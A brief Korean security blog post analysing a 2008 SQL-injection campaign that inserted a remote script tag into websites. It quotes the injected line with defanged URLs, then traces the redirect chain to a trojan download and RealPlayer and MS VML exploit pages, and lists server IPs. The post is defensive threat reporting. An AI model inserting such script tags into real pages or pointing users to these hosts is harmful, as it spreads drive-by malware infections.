SQL injection 악성코드 삽입 사이트 - killwow1

# 주의사항 : 아래의 악성코드서버나 피해 사이트에 접속하면 악성코드에 감염되므로, 보안전문가가 아닌 분들은 절대 접속하지 마시기 바랍니다.

<script src=hxxp://www.killwow1.cn/g.js></script> 삽입 사례 등장
Googling: 40 개, KR 도메인: 2 개, 미차단

g.js -> hxxp://www.killwow1.cn/cc/index.htm 호출
index.htm -> 14.htm -> hxxp://www.qiuxuewow.cn/wow.exe (Trojan horse Agent.UNN)
               -> rl.htm (RealPlayer exploit)
               -> new.htm (RealPlayer exploit)
               -> 04.htm (MS VML exploit)

wow.exe 의 VirusTotal 검사 결과 :  http://www.virustotal.com/ko/analisis/f79d4e1e2278882adbbd722a29bb30a1 (V3 를 포함한 19개의 백신이 탐지 중)

www.killwow1.cn [60.169.3.130]  (08-05-11 14:11, Hefei, CN)
www.qiuxuewow.cn [60.169.3.130]  (08-05-11 14:16, Hefei, CN)

이번 공격은 기존의 ofuscation 기법에 변화를 주기 위해 노력한 흔적이 보임.

참고로 아래 그림과 같이 <script src 가 중복으로 들어가는 경우는

이미 당한 사이트를 또다시 공격하는 와중에 생기는 side effect 임.

얘야, 이제 그만 하자~ 많이 묵었다 아이가~ 아니면 소스에 감염 예외 대상으로 한글도 추가해주던가~

이글루스 가든 - professional secur...